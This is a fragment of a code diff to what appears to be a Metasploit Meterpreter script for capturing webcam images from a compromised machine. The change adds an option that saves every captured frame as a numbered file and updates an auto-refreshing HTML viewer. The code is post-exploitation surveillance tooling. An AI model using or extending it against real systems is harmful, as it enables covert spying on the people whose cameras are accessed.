|
13 | 13 | "-q" => [ true, "The JPEG image quality (Default: 50)" ], |
14 | 14 | "-g" => [ false, "Send to GUI instead of writing to file" ], |
15 | 15 | "-s" => [ true, "Stop recording" ], |
16 | | - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] |
| 16 | + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)" ], |
| 17 | + "-a" => [ false, "Store copies of all the images capture instead of overwriting the same file (Default: overwrite single file)" ] |
17 | 18 | ) |
18 | | - |
| 19 | +iterator = 0 |
19 | 20 | folderpath = "." |
20 | 21 | single = false |
21 | 22 | quality = 50 |
22 | 23 | index = 1 |
23 | 24 | interval = 1000 |
24 | 25 | gui = false |
| 26 | +saveAll = false |
25 | 27 | opts.parse(args) { |opt, idx, val| |
26 | 28 | case opt |
27 | 29 | when "-h" |
|
46 | 48 | print_line("[*] Stopping webcam") |
47 | 49 | client.webcam.webcam_stop |
48 | 50 | raise Rex::Script::Completed |
| 51 | + when "-a" |
| 52 | + saveAll = true |
49 | 53 | end |
50 | 54 | } |
51 | 55 |
|
|
72 | 76 | 'PeerPort' => 16235 |
73 | 77 | ) |
74 | 78 | end |
75 | | - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" |
| 79 | + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" |
| 80 | + print_line( "[*] imagepath is #{imagepath}" ) |
76 | 81 | htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" |
77 | 82 | begin |
78 | 83 | if single == true |
|
90 | 95 | else |
91 | 96 | if(!gui) |
92 | 97 | ::File.open(htmlpath, 'wb' ) do |fd| |
93 | | - fd.write('<html><body><img src="webcam.jpg"></img><script>'+ |
94 | | - "setInterval('location.reload()',#{interval});</script></body><html>" ) |
| 98 | + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" |
| 99 | + fd.write(htmlOut) |
95 | 100 | end |
96 | 101 | print_line( "[*] View live stream at: #{htmlpath}" ) |
97 | 102 | Rex::Compat.open_file(htmlpath) |
|
104 | 109 | else |
105 | 110 | ::File.open( imagepath, 'wb' ) do |fd| |
106 | 111 | fd.write( data ) |
107 | | - end |
| 112 | + ::File.open(htmlpath, 'wb' ) do |fd| |
| 113 | + htmlOut = "<html><body><img src=\"webcam-" + iterator.to_s.rjust(5, "0") + ".jpg\"></img><script>setInterval('location.reload()',#{interval});</script></body><html>" |
| 114 | + fd.write(htmlOut) |
| 115 | + if(saveAll) |
| 116 | + iterator = iterator + 1 |
| 117 | + imagepath = folderpath + ::File::SEPARATOR + "webcam-" + iterator.to_s.rjust(5, "0") + ".jpg" |
| 118 | + end |
| 119 | + end |
| 120 | + end |
108 | 121 | end |
109 | 122 | select(nil, nil, nil, interval/1000.0) |
110 | 123 | end |
|
0 commit comments